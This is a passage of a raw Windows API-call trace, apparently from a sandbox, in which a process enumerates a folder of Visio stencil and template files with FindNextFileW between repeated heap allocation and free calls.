lpFindFileData=0x119ec9c) returned 0x2e9080 [0079.694] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.697] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6e4b00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50526960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1d6e4b00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTDIR_M.VST", cAlternateFileName="")) returned 1 [0079.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0079.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb8c8) returned 1 [0079.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbd90 [0079.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e4ba8 [0079.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.698] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2101d200, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50526960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2101d200, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTDIR_U.VST", cAlternateFileName="")) returned 1 [0079.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbdb0 [0079.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e4cb0 [0079.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.699] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf591600, ftCreationTime.dwHighDateTime=0x1ca4725, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdf591600, ftLastWriteTime.dwHighDateTime=0x1ca4725, nFileSizeHigh=0x0, nFileSizeLow=0x5bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO_M.VSS", cAlternateFileName="")) returned 1 [0079.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbdd0 [0079.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e4db8 [0079.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.700] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ce4000, ftCreationTime.dwHighDateTime=0x1ca4725, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf4ce4000, ftLastWriteTime.dwHighDateTime=0x1ca4725, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO_U.VSS", cAlternateFileName="")) returned 1 [0079.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbdf0 [0079.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e4ec0 [0079.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.701] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf54e00, ftCreationTime.dwHighDateTime=0x1ca4725, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfbf54e00, ftLastWriteTime.dwHighDateTime=0x1ca4725, nFileSizeHigh=0x0, nFileSizeLow=0x21200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADS_M.VSS", cAlternateFileName="")) returned 1 [0079.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbe10 [0079.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e4fc8 [0079.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.702] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c5c00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x31c5c00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADS_U.VSS", cAlternateFileName="")) returned 1 [0079.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbe30 [0079.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e50d0 [0079.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.703] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9123d00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9123d00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x16800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALARM_M.VSS", cAlternateFileName="")) returned 1 [0079.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbe50 [0079.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e51d8 [0079.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.704] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10394b00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x10394b00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALARM_U.VSS", cAlternateFileName="")) returned 1 [0079.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbe70 [0079.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e52e0 [0079.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.705] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19c2b300, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x50572c20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x19c2b300, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x2c200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANNOT_M.VSS", cAlternateFileName="")) returned 1 [0079.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbe90 [0079.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e53e8 [0079.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.706] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x221aee00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x50572c20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x221aee00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x26800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANNOT_U.VSS", cAlternateFileName="")) returned 1 [0079.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbeb0 [0079.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e54f0 [0079.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.707] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30690a00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x50572c20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x30690a00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x1f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPL_M.VSS", cAlternateFileName="")) returned 1 [0079.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbed0 [0079.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e55f8 [0079.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.708] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe85300, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x50572c20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3fe85300, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPL_U.VSS", cAlternateFileName="")) returned 1 [0079.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbef0 [0079.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e5700 [0079.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.709] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424aad00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x50572c20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x424aad00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARROWS_M.VSS", cAlternateFileName="")) returned 1 [0079.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbf10 [0079.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e5808 [0079.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5280) returned 0x11fe6e0 [0079.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0079.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.711] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437bda00, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x50572c20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x437bda00, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARROWS_U.VSS", cAlternateFileName="")) returned 1 [0079.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbf30 [0079.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e5910 [0079.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.712] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ecea600, ftCreationTime.dwHighDateTime=0x1ca1c68, ftLastAccessTime.dwLowDateTime=0x50598d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9ecea600, ftLastWriteTime.dwHighDateTime=0x1ca1c68, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASTMGT.XLS", cAlternateFileName="")) returned 1 [0079.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.712] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbf50 [0079.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e5a18 [0079.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.713] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x408bd200, ftCreationTime.dwHighDateTime=0x1ca5b8a, ftLastAccessTime.dwLowDateTime=0x505beee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x408bd200, ftLastWriteTime.dwHighDateTime=0x1ca5b8a, nFileSizeHigh=0x0, nFileSizeLow=0x120000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASTMGT_M.VST", cAlternateFileName="")) returned 1 [0079.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbf70 [0079.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e5b20 [0079.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.714] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d13d00, ftCreationTime.dwHighDateTime=0x1ca5b8a, ftLastAccessTime.dwLowDateTime=0x505beee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d13d00, ftLastWriteTime.dwHighDateTime=0x1ca5b8a, nFileSizeHigh=0x0, nFileSizeLow=0x11c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASTMGT_U.VST", cAlternateFileName="")) returned 1 [0079.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbf90 [0079.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e5c28 [0079.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.715] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d054200, ftCreationTime.dwHighDateTime=0x1ca4726, ftLastAccessTime.dwLowDateTime=0x505beee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4d054200, ftLastWriteTime.dwHighDateTime=0x1ca4726, nFileSizeHigh=0x0, nFileSizeLow=0x26c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIT_M.VSS", cAlternateFileName="")) returned 1 [0079.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbfb0 [0079.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e5d30 [0079.716] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.716] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3414a200, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x505beee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3414a200, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUDIT_M.VST", cAlternateFileName="")) returned 1 [0079.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.716] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.716] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbfd0 [0079.717] RtlAllocateHeap 